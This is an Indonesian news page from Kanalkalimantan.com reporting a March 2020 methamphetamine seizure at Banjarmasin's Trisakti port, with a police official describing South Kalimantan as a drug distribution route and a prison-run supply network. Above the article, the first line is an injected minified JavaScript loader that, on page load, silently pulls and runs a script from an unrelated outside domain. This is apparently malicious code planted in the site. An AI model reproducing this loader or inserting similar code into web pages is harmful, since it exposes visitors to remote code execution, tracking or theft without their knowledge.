(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
{"subsource":"done_button","uid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1583727575817","source":"other","origin":"gallery","source_sid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1583727575834"}
KANALKALIMANTAN.COM, BANJARMASIN – Tangkapan narkoba jenis sabu di Pelabuhan Trisakti Banjarmasin pada Senin (2/3/2020) kemarin menjadi bukti bahwa Kalimantan Selatan (Kalsel) bukan lagi menjadi jalur transit peredaran narkoba. Namun bakal menjadi jalur distribusi narkoba. Hal ini diakui oleh Direktur Resnarkoba Polda Kalsel Kombes Pol Iwan Eka Putra kepada awak media di Mapolda Kalsel, Senin (9/3/2020) pagi.
“Daerah kita sepertinya, kalau kita gampang terbujuk rayu, maka bisa menjadi jalur distribusi. Bukan jalur transit lagi, tapi jalur distribusi,” kata Kombes Iwan. Ini terbukti dengan tangkapan jajarannya pada Senin pekan lalu, yang mana kedua tersangka yakni MM (20) dan GR (16) telah mengedarkan narkoba jenis sabu ke Kota Banjarmasin dan Kota Banjarbaru.
Baca: Masuk Lewat Pelabuhan Trisakti,4,97 Kg Sabu Kendali dari Lapas Dibongkar Dit Resnarkoba Polda Kalsel
Diakuinya, tangkapan ini merupakan jaringan lapas. Di mana, sang pemesan yakni MRS (32) warga Benua Anyar Banjarmasin merupakan tahanan narkoba di Lapas Kelas IIA Banjarmasin. “Kalau (jajaran) kami menyebutnya jaringan lapas, ya (dari) Lapas Cipinang,” tambahnya.
Ditambahkannya, karena merupakan jalur distribusi, Provinsi Kalsel bukanlah pintu masuk peredaran narkoba. Justru Provinsi Kaltara dan Entikong di Provinsi Kalbar yang menjadi pintu masuk peredaran narkoba di Pulau Kalimantan.
“Sedangkan di Pulau Sumatera seperti Provinsi Aceh, Sumut, Riau dan Kepri (Batam). Barang-barang haram yang masuk di empat daerah ini bisa menyebar ke seluruh Indonesia,” kata mantan Kepala BNNP Riau ini.
Kendati begitu, pihaknya berupaya menangkal peredaran narkoba di wilayah hukum Polda Kalsel. Agar Kalsel tidak menjadi jalur distribusi narkoba. “Walaupun indikasi ke situ, artinya bisa saya simpulkan ada. Karena barang banyak masuk ke sini. Sehingga, dengan adanya demand maka supply masuk,” lugas Kombes Iwan.
Dengan tangkapan ini, Kombes Iwan mengungkapkan, dapat menyelamatkan 10 ribu orang. Dengan asumsi penggunaan narkoba sebanyak satu gram untuk 8-9 orang. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More
This website uses cookies.